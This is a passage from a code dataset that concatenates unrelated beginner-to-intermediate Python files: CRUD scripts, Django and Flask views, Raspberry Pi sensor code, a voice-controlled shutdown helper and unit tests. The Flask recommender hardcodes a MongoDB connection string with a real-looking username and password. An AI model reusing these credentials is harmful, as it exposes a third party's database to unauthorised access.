Checklist\nchecklist = list()\n\n# Define Functions\n# CREATE\ndef create(item):\n checklist.append(item)\n\n# READ\ndef read(index):\n return checklist[index]\n\n# UPDATE\ndef update(index, item):\n checklist[index] = item\n\n# DESTROY\ndef destroy(index):\n checklist.pop(index)\n\ndef list_all_items():\n index = 0\n for list_item in checklist:\n print(\"{} {}\".format(index, list_item))\n index += 1\n\n# Mark Complete\ndef mark_completed(index):\n update(index, \"√ \" + checklist[index])\n print(\"Marked \" + checklist[index] + \". Updated Checklist:\")\n list_all_items()\n\n# Check if index is valid\ndef check_input(input):\n if int(input) >= len(checklist):\n print(\"Invalid Index. Please try again. \")\n return True\n else:\n return False\n\n\n# Select\ndef select(function_code):\n # Create item\n if function_code == \"C\":\n input_item = user_input(\"Input item: \")\n create(input_item)\n\n # Read item\n elif function_code == \"R\":\n invalid = True\n while invalid:\n index = user_input(\"Index Number? \")\n invalid = check_input(index)\n # Remember that item_index must actually exist or our program will crash.\n print(\"Item: \" + read(int(index)))\n \n elif function_code == \"U\":\n list_all_items()\n\n invalid = True\n while invalid:\n index = user_input(\"Update which item? (Select index) \")\n invalid = check_input(index)\n\n item = user_input(\"Change to: \")\n update(int(index), item)\n print(\"Item changed. Updated List below:\")\n list_all_items()\n \n elif function_code == \"D\":\n list_all_items()\n\n invalid = True\n while invalid:\n index = user_input(\"Delete which item? (Select index) \")\n invalid = check_input(index)\n\n destroy(int(index))\n print(\"Item deleted. Updated List below: \")\n list_all_items()\n\n # Print all items\n elif function_code == \"P\":\n list_all_items()\n\n # Quit\n elif function_code == \"Q\":\n return False\n \n elif function_code == \"X\":\n list_all_items()\n \n invalid = True\n while invalid:\n index = user_input(\"Mark which item complete? (Select index) \")\n invalid = check_input(index)\n\n mark_completed(int(index))\n print('Updated List Below: ')\n list_all_items()\n\n\n # Catch all\n else:\n print(\"Unknown Option\")\n return True\n\ndef user_input(prompt):\n # the input function will display a message in the terminal\n # and wait for user input.\n user_input = input(prompt)\n return user_input\n\n# TEST\ndef test():\n create(\"purple sox\")\n #create(\"red cloak\")\n\n #print(read(0))\n #print(read(1))\n\n update(0, \"Purple Socks\")\n #destroy(1)\n\n #print(read(0))\n create(\"Yellow Shoes\")\n create(\"Green Watch\")\n create(\"Orange Shirt\")\n list_all_items()\n\n mark_completed(1)\n\n # Call your new function with the appropriate value\n select(\"C\")\n # View the results\n list_all_items()\n # Call function with new value\n select(\"R\")\n # View results\n list_all_items()\n # Continue until all code is run\n select(\"U\")\n # Call function with new value\n select(\"D\")\n\n# Run Tests\ntest()\n\nrunning = True\nwhile running:\n selection = user_input(\n \"Press C to add to list, R to Read from list, P to display list, U to update item, D to delete item, X to mark complete and Q to quit \")\n running = select(selection.upper())","repo_name":"aucoeur/checklist","sub_path":"checklist.py","file_name":"checklist.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3572866344","text":"cedula1 = cedula10 = cedula20 = cedula50 = 0\r\nvalorsac = float(input('Qual valor deseja sacar: '))\r\nif valorsac >= 50:\r\n while valorsac >= 50:\r\n cedula50 += 1\r\n valorsac = valorsac - 50\r\n if cedula50 != 0:\r\n print(f'Saque de {cedula50} cedulas de R$50,00')\r\n while valorsac >= 20 < 50:\r\n cedula20 += 1\r\n valorsac = valorsac - 20\r\n if cedula20 != 0:\r\n print(f'Saque de {cedula20} cedulas de R$20,00')\r\n while valorsac >= 10 < 20:\r\n cedula10 += 1\r\n valorsac = valorsac -10\r\n if cedula10 != 0:\r\n print(f'Saque de {cedula10} cedulas de R$10,00')\r\n while valorsac >= 1 < 9:\r\n cedula1 += 1\r\n valorsac = valorsac - 1\r\n if cedula1 != 0:\r\n print(f'Saque de {cedula1} cedulas de R$1,00')\r\nprint('FIM')","repo_name":"rodrigouberlandiamg/Python","sub_path":"CursoEmVideoMundo2/desafio071.py","file_name":"desafio071.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30093530610","text":"# lê 3 números\n# qual o maior e qual é o menor\n\nn1 = float(input('Digite um número'))\nn2 = float(input('Digite mais um número:'))\nn3 = float(input('Mais um: '))\nmenor = n1\n\nif n2 < n1 and n2 < n3:\n menor = n2\nif n3 < n2 and n3 < n2:\n menor = n3\nmaior = n1\nif n2 > n1 and n2 > n3:\n maior = n2\nif n3 > n1 and n3 > n2:\n maior = n3\nprint('Menor: {}'.format(menor))\nprint('Maior: {}'.format(maior))\n\n# feito junto com o guanabara","repo_name":"valencprado/py-curso-em-video","sub_path":"exercises/Mundo 1/ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"40865382825","text":"# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom django.template.context_processors import csrf\nfrom django.conf import settings\nfrom upload_form.models import FileNameModel\nfrom upload_form.models import ImageURLModel\nfrom upload_form.models import BudgetModel\nimport sys, os\nimport pandas as pd\nfrom . import forms as forms\nfrom . import calculate as cl\nfrom django import forms as fm_d\nUPLOADE_DIR = os.path.dirname(os.path.abspath(__file__)) + '/static/files/'\n\n###ファイルアップロード関数\ndef form(request):\n \n #通常時form.htmlを表示\n if request.method != 'POST':\n return render(request, 'upload_form/form.html')\n \n #ファイル取得し、データをcsv_dataに格納\n file = request.FILES['file']\n path = os.path.join(UPLOADE_DIR, file.name)\n destination = open(path, 'wb')\n \n '''#Fileをアップロード先に保存\n for chunk in file.chunks():\n destination.write(chunk)\n destination.close()'''\n \n #File名をサーバーに保存\n insert_data = FileNameModel(file_name = file.name,file_obj = file)\n insert_data.save()\n \n return redirect('upload_form:choice_column')\n #return render(request,'upload_form/complete.html',data)\n\n\n###ファイルアップロード完了関数\ndef complete(request):\n \n return render(request, 'upload_form/complete.html')\n\n###アップしたファイルのカラム名からアロケしたい要素を選択\ndef choice_column(request):\n \n #データベースに格納されたファイルオブジェクトを抽出→URLを抽出→ファイルデータを格納\n temp = FileNameModel.objects.latest('id')\n csv_data = pd.read_csv(temp.file_obj.url, encoding = 'ms932')\n\n #選択されたファイルのカラム名をリスト化(アロケ粒度用)\n group1 = []\n for factor in csv_data.select_dtypes(exclude=['number']).columns:\n group1.append((factor,factor))\n \n #選択されたファイルのカラム名をリスト化(Day選択用)\n group2 = []\n for factor in csv_data.select_dtypes(exclude=['number']).columns:\n group2.append((factor,factor)) \n \n #選択されたファイルのカラム名をリスト化(最大化項目選択用)\n group3 = []\n for factor in csv_data.select_dtypes(include=['number']).columns:\n group3.append((factor,factor)) \n \n #選択されたファイルのカラム名をリスト化(入力���目選択用)\n group4 = []\n for factor in csv_data.select_dtypes(include=['number']).columns:\n group4.append((factor,factor))\n\n #forms.pyで定義されたフォームをファイルのカラム名で再定義\n form = forms.DfColumnForm()\n form.fields['df_columns'].choices = group1\n form.fields['df_date'].choices = group2\n form.fields['df_goal'].choices = group3\n form.fields['df_control'].choices = group4\n\n #選択されたカラム名/date項目を受け取り\n obj_choices = request.POST.getlist('df_columns')\n obj_date = request.POST.getlist('df_date')\n obj_goal = request.POST.getlist('df_goal')\n obj_control = request.POST.getlist('df_control')\n \n image_url = ''\n\n ###計算結果\n if obj_choices:\n obj_budget = request.POST['df_budget']\n insert_budget = BudgetModel(budget = obj_budget)\n insert_budget.save()\n result,images,result_file_name = cl.calculate(obj_choices,obj_date,obj_goal,obj_control,int(obj_budget))\n ##シミュレーション結果をデータベースへ保存\n insert_data_image = ImageURLModel(image_url_name = result_file_name)\n insert_data_image.save()\n\n return redirect('upload_form:result')\n else:\n obj_budget = ''\n result = ''\n images = ''\n budget_for_print = ''\n\n data = {\n 'input_data' : form,\n 'budget_for_print' : budget_for_print,\n }\n \n return render(request,'upload_form/choice_column.html',data)\n\ndef result(request):\n \n temp = ImageURLModel.objects.latest('id')\n csv_data = pd.read_csv(temp.image_url_name, encoding = 'utf-8') \n '''excel = pd.ExcelFile(temp.image_url_name,encoding = 'ms932')\n sheet_name = excel.sheet_names\n csv_data= excel.parse()'''\n images = csv_data['graph_url']\n image_names = csv_data['graph_name']\n \n budget = BudgetModel.objects.latest('id')\n data = {\n 'images' : images,\n 'image_names' : image_names,\n 'budget' : budget.budget,\n \n }\n \n return render(request,'upload_form/result.html',data)","repo_name":"norisuke39/cdn_set","sub_path":"upload_form/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4275257793","text":"import RPi.GPIO as GPIO\nimport _thread\nimport SDL_DS3231\nimport time\n\nfrom time import sleep\nfrom bmp280 import BMP280\nfrom smbus import SMBus\n\nfrom ina219 import INA219\nfrom ina219 import DeviceRangeError\n\nprint(\"Display of the sensor measurements: \")\n\n#Initialize the BMP280\nbus = SMBus(1)\nbmp280 = BMP280(i2c_dev=bus)\n#Initialize Led Pin\nledPin = 26\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(ledPin,GPIO.OUT)\n#Initialize Buzzer Pin\nbuzzPin = 19\nGPIO.setup(buzzPin,GPIO.OUT)\n#Initialize Clock DS3231\nds3231 = SDL_DS3231.SDL_DS3231(1, 0x68)\nds3231.write_now()\n#Initialize INA219\nSHUNT_OHMS = 0.1\nina = INA219(SHUNT_OHMS)\nina.configure()\n#Initialize Servomotor\nservoPin = 18\nGPIO.setup(servoPin,GPIO.OUT)\npwm=GPIO.PWM(servoPin,50) #50 hz\npwm.start(0)\n\ndef LedControl():\n while True:\n GPIO.output(ledPin,GPIO.HIGH)\n sleep(2)\n GPIO.output(ledPin,GPIO.LOW)\n sleep(2)\ndef BuzzerControl():\n while True:\n GPIO.output(buzzPin,GPIO.HIGH)\n sleep(2)\n GPIO.output(buzzPin,GPIO.LOW)\n sleep(2)\ndef BMP_280():\n while True:\n #BMP_280 only measures pressure\n #temperature = bmp280.get_temperature()\n #degree_sign = u\"\\N{DEGREE SIGN}\"\n #format_temp = \"{:.2f}\".format(temperature)\n #print('Temperature = ' + format_temp + degree_sign + 'C')\n pressure = bmp280.get_pressure()\n format_press = \"{:.2f}\".format(pressure)\n print('Pressure = ' + format_press + ' hPa')\n sleep(2)\n\ndef Clock():\n while True:\n print (\"Raspberry Pi=\\t\" + time.strftime(\"%Y/%m/%d, %H:%M:%S\"))\n print (\"Ds3231=\\t\\t%s\" % ds3231.read_datetime())\n sleep(2)\ndef Servo():\n ang=0\n signal = 2+(ang/18)\n while True:\n if ang>=181:\n ang=0\n signal = 2+(ang/18)\n GPIO.output(18,True)\n pwm.ChangeDutyCycle(signal)\n sleep(1)\n GPIO.output(18,False)\n pwm.ChangeDutyCycle(0)\n else:\n signal = 2+(ang/18)\n GPIO.output(18,True)\n pwm.ChangeDutyCycle(signal)\n sleep(1)\n GPIO.output(18,False)\n pwm.ChangeDutyCycle(0)\n ang=ang+10\n\n\n#Enable concurrent events\n#Voltage, led, buzzer, pressure, GPS, XBEE, servomotor,clock\n#Falta XBEE, GPS\n_thread.start_new_thread(LedControl,())\n_thread.start_new_thread(Clock,())\n_thread.start_new_thread(BMP_280,())\n_thread.start_new_thread(Servo,())\n#_thread.start_new_thread(BuzzerControl,())\n\n#Loop, Voltage as primary\nwhile(True):\n print(\"Bus Voltage: %0.2f V\\n\" % ina.voltage())\n sleep(2)\n","repo_name":"JavierM15/MkSat_2022","sub_path":"container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14667257722","text":"from modules import *\n\n\nclass shutdown:\n def takecommands(self):\n r = sr.Recognizer()\n with sr.Microphone() as source:\n self.speak(\"Listening\")\n print(\"Listening...\")\n r.pause_threshold = 0.7\n audio = r.listen(source, phrase_time_limit=5)\n try:\n self.speak(\"Recognizing\")\n print(\"Recognizing...\")\n query = r.recognize_google(audio, language=\"en-in\")\n print(\"The query is printed = '\", query, \"'\")\n except Exception as e:\n print(e)\n print(\"say that again please\")\n return \"None\"\n return query\n\n def speak(self, audio):\n engine = pyttsx3.init(\"sapi5\")\n voices = engine.getProperty(\"voices\")\n engine.setProperty(\"voice\", voices[1].id)\n engine.say(audio)\n engine.runAndWait()\n\n def quitself(self):\n self.speak(\"do you want to shutdown the computer?\")\n take = self.takecommands()\n choice = take\n if \"yes\" in choice:\n print(\"shutting down the computer...\")\n self.speak(\"shutting down the computer\")\n os.system(\"shutdown /s /t 10\")\n elif \"no\" in choice:\n print(\"thank you\")\n self.speak(\"thank you\")\n\n\ndef close():\n maam = shutdown()\n maam.quitself()\n","repo_name":"mehulverma26/Level1_AI","sub_path":"shutdown_computer.py","file_name":"shutdown_computer.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41033870981","text":"from django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase, APIClient\nfrom rest_framework.authtoken.models import Token\nfrom django.contrib.auth.models import User\nfrom .models import Event, Ticket, Account\n\n\nclass EventTests(APITestCase):\n data = {\n \"event_date_time\": \"2021-01-29T00:00:00Z\",\n \"name\": \"test event name\",\n \"description\": \"test event description\",\n \"price_regular\": 10.0,\n \"price_premium\": 20.0,\n \"price_vip\": 100.0,\n \"regular_tickets_number\": 1000,\n \"premium_tickets_number\": 500,\n \"vip_tickets_number\": 100,\n }\n url = reverse('event-list')\n\n\n def test_create_event_without_token(self):\n\n response_data = {\n \"detail\": \"Authentication credentials were not provided.\"\n }\n\n response = self.client.post(self.url, self.data, format='json')\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n self.assertEqual(response.data, response_data)\n\n def setUp(self):\n self.client = APIClient()\n self.user = User.objects.create_superuser('admin', 'admin@admin.com', 'admin123')\n self.token = Token.objects.create(user=self.user)\n self.event_fixture = Event.objects.create(event_date_time='2021-01-29 01:00:00+01', name='A$AP concert',\n description='A$AP concert longer description', price_regular=10, price_premium=20,\n price_vip=100, regular_tickets_number=1000, premium_tickets_number=500,\n vip_tickets_number=100)\n\n self.url_detail = reverse('event-detail', kwargs={'pk': self.event_fixture.pk})\n\n def test_create_event_with_token(self):\n self.client.force_login(user=self.user)\n response = self.client.post(self.url, self.data, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 201)\n self.assertDictContainsSubset(self.data, response.data)\n\n def test_event_list(self):\n self.client.force_login(user=self.user)\n response = self.client.get(self.url, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n # self.assertDictContainsSubset(self.data, response.data)\n\n def test_event_detail(self):\n self.client.force_login(user=self.user)\n response = self.client.get(self.url_detail, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n expected_response_part = {\"description\": \"A$AP concert longer description\"}\n self.assertDictContainsSubset(expected_response_part, response.data)\n\n def test_event_put(self):\n self.client.force_login(user=self.user)\n response = self.client.put(self.url_detail, self.data, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n self.assertDictContainsSubset(self.data, response.data)\n\n def test_event_patch(self):\n self.client.force_login(user=self.user)\n partial_data = {\"description\": \"patch description\"}\n response = self.client.patch(self.url_detail, partial_data, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n self.assertDictContainsSubset(partial_data, response.data)\n\n\n","repo_name":"kamil1marczak/ticket-service","sub_path":"project/ticket_platform/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"17580707859","text":"import networkx as nx\r\nG=nx.path_graph(4)\r\nthanhpho={0:\"tokyo\",1:\"berlin\",2:\"rome\",3:\"luan don\"}\r\nH=nx.relabel_nodes(G,thanhpho)\r\nprint(\"cac nut cua bieu do: \")\r\nprint(H.nodes())\r\nprint(\"cac canh cua bieu do: \")\r\nprint(H.edges())\r\nnx.draw(H)\r\nplt.savefig(\"path_graph_cities.png\")\r\nplt.show()\r\nG = nx.path_graph (10)\r\n\r\n\r\n","repo_name":"hanlucyen/test-Python","sub_path":"g.py","file_name":"g.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1439914400","text":"class Employee:\n\n num_employees = 0\n raise_amount = 1.04\n\n def __init__(self, first, last, pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first + '.' + last + '@company.com'\n Employee.num_employees += 1\n\n def fullname(self):\n return(' {} {} '.format(self.first, self.last))\n\n def appy_raise(self):\n self.pay = int(self.pay * self.raise_amount)\n\n @classmethod\n #makes it so insted of the instance we recive the class as the first\n #attribute\n def set_raise_amount(cls, amount):\n cls.raise_amount = amount\n\n @classmethod\n #usecase an alternative constructor\n def from_string(cls, emp_str):\n first, last, pay = emp_str.split('-')\n return cls(first, last, pay)\n\n @staticmethod\n #note; if you dont use self or cls you should consider to use static\n def is_workday(day):\n if day.weekday() > 4:\n return False\n return True\n\nemp_1 = Employee(\"test_con\", \"user_con\", 4000)\nemp_2 = Employee(\"hello_con\", \"world_con\", 6000)\n\nprint(Employee.raise_amount)\nprint(emp_1.raise_amount)\nprint(emp_2.raise_amount)\n\nEmployee.set_raise_amount(1.10)\n\nprint(Employee.raise_amount)\nprint(emp_1.raise_amount)\nprint(emp_2.raise_amount)\n\nemp_str_1 = \"John-Doe-54444\"\nemp_str_2 = \"Tina-Tuna-4500\"\nemp_str_3 = \"Bob-Nope-99999\"\n\nfirst, last, pay = emp_str_1.split('-')\nemp_3 = Employee(first, last, pay)\n\nprint(emp_3.email)\n\nemp_4 = Employee.from_string(emp_str_2)\n\nprint(emp_4.email)\nprint(Employee.num_employees)\n\nimport datetime\nmy_date = datetime.date(2018, 4, 4)\nprint(Employee.is_workday(my_date))\n","repo_name":"gergely-kiss/Python-Basics_classes","sub_path":"class_classmethods_staticmethods.py","file_name":"class_classmethods_staticmethods.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6115510833","text":"from os import error\n\nfrom django.http.response import HttpResponseBadRequest\nfrom songs.authentication import authCode\nfrom django.shortcuts import render\nfrom datetime import datetime, timezone\nimport pytz\nimport boto3\nfrom botocore.exceptions import ClientError\nimport pandas as pd\nfrom dynamodb_json import json_util as json\n\n\ndef connectToDB():\n try:\n ddb = boto3.client('dynamodb', endpoint_url='http://localhost:3000')\n except ClientError as e:\n print(e)\n exit()\n return ddb\n\n\ndef libraryIndex(request):\n request.session['username'] = request.POST.get('username')\n return render(request, 'library/libraryIndex.html', {'results': request.session['username']})\n\n\ndef libraryRead(request):\n username = request.session['username']\n dynamoClient = connectToDB()\n print('connected')\n dbCheck = dynamoClient.list_tables()\n\n if f'{username}_library' in dbCheck['TableNames']:\n result = dynamoClient.scan(TableName=f'{username}_library')\n genres = dynamoClient.scan(TableName=f'{username}_genres')\n if result['Count'] > 0:\n return render(request, 'library/libraryRead.html', {'results': json.loads(result['Items']), 'genres': json.loads(genres['Items'])})\n\n client = authCode(\"user-library-read\", username)\n results = client.current_user_saved_tracks()\n tracks = results['items']\n\n while results['next']:\n results = client.next(results)\n tracks.extend(results['items'])\n\n trackTotal = len(tracks)\n\n trackCounter = 0\n # progressMarkers = multiples(trackTotal)\n\n utc = pytz.utc\n overallGenres = set()\n\n for item in tracks:\n # if trackCounter in progressMarkers:\n # print(f'{trackCounter}/{trackTotal} analyzed...')\n artistList = []\n genreList = set()\n\n timeAdded = item['added_at'][:-1]\n # this outputs 2021-11-11 19:26:58.506135+00:00 format, but i want 2019-01-30T16:48:47 for uniformity. Fix later\n entryTime = str(datetime.now(timezone.utc))\n\n trackObj = item['track']\n trackName = trackObj['name']\n trackUri = trackObj['uri']\n for artist in trackObj['artists']:\n artistList.append(artist['name'])\n\n artistResult = client.artist(artist['id'])\n if artistResult['genres'] == []:\n genreResult = ['none']\n else:\n genreResult = artistResult['genres']\n\n for genre in genreResult:\n genreList.add(genre)\n\n for genresPerArtist in genreList:\n for genre in genresPerArtist:\n overallGenres.add(genre)\n\n print(tuple(genreList))\n try:\n response = dynamoClient.put_item(\n TableName=f'{username}_library',\n Item={\n 'id': {'N': str(trackCounter)},\n 'name': {'S': trackName},\n 'artists': {'SS': artistList},\n 'genres': {'SS': tuple(genreList)},\n 'uri': {'S': trackUri},\n 'time_addded': {'S': timeAdded},\n 'entry_time': {'S': entryTime}\n }\n )\n\n print(f'ITEM ADDED:\\n{response}\\n')\n trackCounter += 1\n except ClientError as e:\n print(e)\n result = dynamoClient.scan(TableName=f'{username}_library')\n genres = dynamoClient.scan(TableName=f'{username}_genres')\n return render(request, 'library/libraryRead.html', {'results': json.loads(result['Items']), 'genres': json.loads(genres['Items'])})\n\n# ideally wouldn't need this second read, in prod it would just cost more capacity. Just here for testing + decoupling from the first function, although IDK if strictly necessary.\n# also, prob dont need the df now that i think about it because you can just read the result directly and iterate over that...\n# but hey, it works. next up is the frontend\n\n\ndef genreRead(request):\n username = request.session['username']\n dynamoClient = connectToDB()\n print('connected')\n result = dynamoClient.scan(TableName='aquinyo_library')\n df = pd.DataFrame(json.loads(result['Items']))\n print(df, file=open('df.txt', 'a'))\n\n genreDict = []\n overallGenres = set()\n\n for entry in df.iterrows():\n print(entry)\n print(entry[1]['genres'])\n for genre in entry[1]['genres']:\n overallGenres.add(genre)\n\n print(overallGenres)\n for genre in overallGenres:\n genreUris = []\n for entry in df.iterrows():\n if genre in entry[1]['genres']:\n genreUris.append(entry[1]['uri'])\n\n genreObj = {'genre': genre, 'occurrences': len(\n genreUris), 'uris': genreUris}\n genreDict.append(genreObj)\n\n idCount = 0\n for entry in genreDict:\n try:\n response = dynamoClient.put_item(\n TableName=f'{username}_genres',\n Item={\n 'id': {'N': str(idCount)},\n 'name': {'S': entry['genre']},\n 'occurrences': {'N': str(entry['occurrences'])},\n 'uris': {'SS': entry['uris']}\n }\n )\n print(f'ITEM ADDED:\\n{response}\\n')\n idCount += 1\n except ClientError as e:\n print(e)\n","repo_name":"ethanaquino258/django-spotify","sub_path":"library/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2367643","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\nfrom io import BytesIO, StringIO\nfrom zipfile import ZipFile\nimport pandas as pd\n\ndef get_state_population():\n URL = \"https://www2.census.gov/programs-surveys/popest/datasets/2010-2019/state/detail/SCPRC-EST2019-18+POP-RES.csv\"\n d = requests.get(URL)\n df = pd.read_csv(StringIO(d.text))\n data = {}\n for i, r in df.iterrows():\n num = int(r['POPESTIMATE2019'])\n data[r['NAME']] = f'{num:,}'\n return data\n\ndef get_world_population():\n URL = \"https://en.wikipedia.org/wiki/List_of_countries_by_population_(United_Nations)\"\n r = requests.get(URL)\n html = BeautifulSoup(r.text, features='html.parser')\n table_div = html.findAll('table',{'class':'wikitable'})[1]\n rows = table_div.findAll('tr')\n data = {}\n for r in rows:\n cell = r.findAll('td')\n try:\n name = cell[0].get_text().strip()\n name = re.sub(r'\\[[a-z]\\]','', name)\n pop = cell[3].get_text().strip()\n data[name] = pop\n except:\n pass\n return data\n\ndef get_populations():\n d = {**get_world_population(), **get_state_population()}\n d['US'] = d.pop('United States')\n return d\n\nget_populations()\n","repo_name":"maxwell-yaron/covid-19","sub_path":"population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74069400040","text":"questions = [\n \"Is the project broken down into work packages and Tasks? \",\n \"Is the structure defined? \",\n \"Has The work packages and the tasks been assigned in the project structure plan? \",\n \"Has the tasks and work packages been coded? \",\n \"Has the completeness been checked? \"\n]\n\nquestion_answer = {}\n\n\ndef questionnaireFunc(q_list, q_a_list):\n print(\"Answer the questions with yes or no.\")\n for i in q_list:\n answer = input(i).lower()\n #assaining list item as key and item input as value\n q_a_list[i] = answer\n\n\nquestionnaireFunc(questions, question_answer)\n\n\ndef checkAnswers(q_a_list):\n if any(\"no\" in value for value in q_a_list.items()):\n print(\n \"For the following questions, work steps are apparently still pending in the planning:\"\n )\n for key, value in q_a_list.items():\n if value == \"no\":\n print(key)\n\n elif all(\"yes\" in value for value in q_a_list.items()):\n print(\n \"You have done a good job and can continue with the timing as planned.\"\n )\n\n\ncheckAnswers(question_answer)\n","repo_name":"illumi420/pyth","sub_path":"School_stuff/questionnaire.py","file_name":"questionnaire.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73712564520","text":"from flask import Flask\r\nfrom pymongo import MongoClient\r\nfrom Helper import Helper\r\nfrom flask import request\r\nfrom flask import json\r\nimport pymongo\r\nimport os\r\nimport pickle\r\n\r\napp = Flask(__name__)\r\n@app.route(\"/\")\r\n\r\ndef build_model():\r\n method = request.args.get('method')\r\n if method == 'build':\r\n helper = Helper()\r\n if not os.path.exists('active'):\r\n os.makedirs('active')\r\n else:\r\n helper.create_backup()\r\n \r\n connection = MongoClient('mongodb+srv://hrlanes-mongodb-reader:hrlanes%401234@hrlanes-production-i5mve.mongodb.net', 27017)\r\n db = connection['hrlanes-web-db']\r\n data = db['users']\r\n ex = data.find({\"$and\": [{'ProfileSummaryInfo': {\"$exists\": True}}, {'recommenderProcessed': {\"$exists\": True}}, {'recommenderProcessed': True }]})\r\n \r\n d = helper.createDictionary(ex)\r\n path = os.getcwd()+\"\\\\active\\\\\"\r\n with open(path+\"dictionary.pkl\", \"wb\") as output:\r\n pickle.dump(d, output)\r\n resumeList = []\r\n for key in d:\r\n if len(d[key])>0: # check if resumes/details exist \r\n doc_included = []\r\n for x in d[key]:\r\n resumeList.append(x[1])\r\n doc_included.append(x[0])\r\n documents = []\r\n for f in resumeList:\r\n documents.append(f)\r\n helper.create_tfidf(str(key), documents, doc_included)\r\n #reset recommenderProcessed to false\r\n '''filter = {\"$and\": [{'ProfileSummaryInfo': {\"$exists\": True}}, {'recommenderProcessed': {\"$exists\": True}}, {'recommenderProcessed': True }]}\r\n data.update_many(filter, {\"$set\": { \"recommenderProcessed\": False }})\r\n '''\r\n return 'okay'\r\n elif method == 'recommend':\r\n exp = request.args.get('e')\r\n farea = request.args.get('f')\r\n jd = request.args.get('jd')\r\n if exp and farea and jd:\r\n helper = Helper()\r\n jobd = helper.extract_text_from_url(jd) #for extracting text from pdf url -> from blob storage\r\n jobd = str(jd)\r\n preprocessed = helper.cleanTextAndTokenize(jobd) #tokenizing text\r\n sim_scores = helper.recommend(exp, farea, preprocessed) #returning candidate IDs\r\n if len(sim_scores)==0:\r\n return (\"Sorry! No matching candidates!\")\r\n response = app.response_class(\r\n response=json.dumps(str(dict(sim_scores))),\r\n status=200,\r\n mimetype='application/json')\r\n return response\r\n else:\r\n return \"Please enter exp, f area and jd in the request body!\"\r\n \r\n else:\r\n return \"Please enter the method in request body: build or recommend!\"\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","repo_name":"tejaspradhan/Flask-Trial","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70114561641","text":"#\n# https://leetcode.com/problems/perfect-squares/\n#\n# Given an integer n, return the least number of perfect square numbers that sum to n.\n#\n# A perfect square is an integer that is the square of an integer; \n# in other words, it is the product of some integer with itself. \n# For example, 1, 4, 9, and 16 are perfect squares while 3 and 11 are not.\n# \n\nfrom typing import List\nimport sys\nimport pdb\nbr = pdb.set_trace\n\nsolution_json = {\n \"date\": \"2022/10/15\",\n \"design\": 0,\n \"coding\": 0,\n \"runtime\": \"?? ms\",\n \"fasterThan\": \"\",\n \"memory\": \"?? MB\",\n \"bug\": \"Time Limit Exceeded\" \n}\n\n'''\nCase 1:\n 12 = 4 + 4 + 4\n 1, 4, 9\n\nCase 2:\n 13 = 4 + 9\n 1, 4, 9\n\n 13 = 9 + 4\n = 4 + 9\n = 1 + 12\n 12 = 9 + 3\n = 4 + 8\n = 1 + 11 \n 3 = 1 + 2\n 2 = 1 + 1\n 8 = 4 + 4\n = 1 + 7\n 4 = 1 + 3\n 7 = 4 + 3\n'''\nclass Solution:\n def __init__(self):\n self.module = sys.modules[__name__]\n\n def numSquares(self, n: int) -> int:\n dp = {}\n sqr_ls = []\n for i in range(1, n + 1):\n #print(i)\n sqr = i * i\n if sqr <= n:\n sqr_ls.append(sqr)\n dp[sqr] = [sqr]\n\n if i not in sqr_ls:\n build(i, dp)\n\n out = len(dp[n])\n return out\n\ndef build(n, dp):\n #print('n = %d' % n)\n found_ls = None\n for num, sql_ls in dp.items():\n n1 = n - num\n if n1 <= 0:\n break\n\n #print('n1 = %d' % n1)\n if n1 in dp:\n ls = dp[num] + dp[n1]\n #print('ls = %s' % ls)\n if found_ls == None:\n found_ls = ls \n elif len(ls) < len(found_ls):\n found_ls = ls \n\n #print(found_ls)\n assert n not in dp\n dp[n] = found_ls\n\n 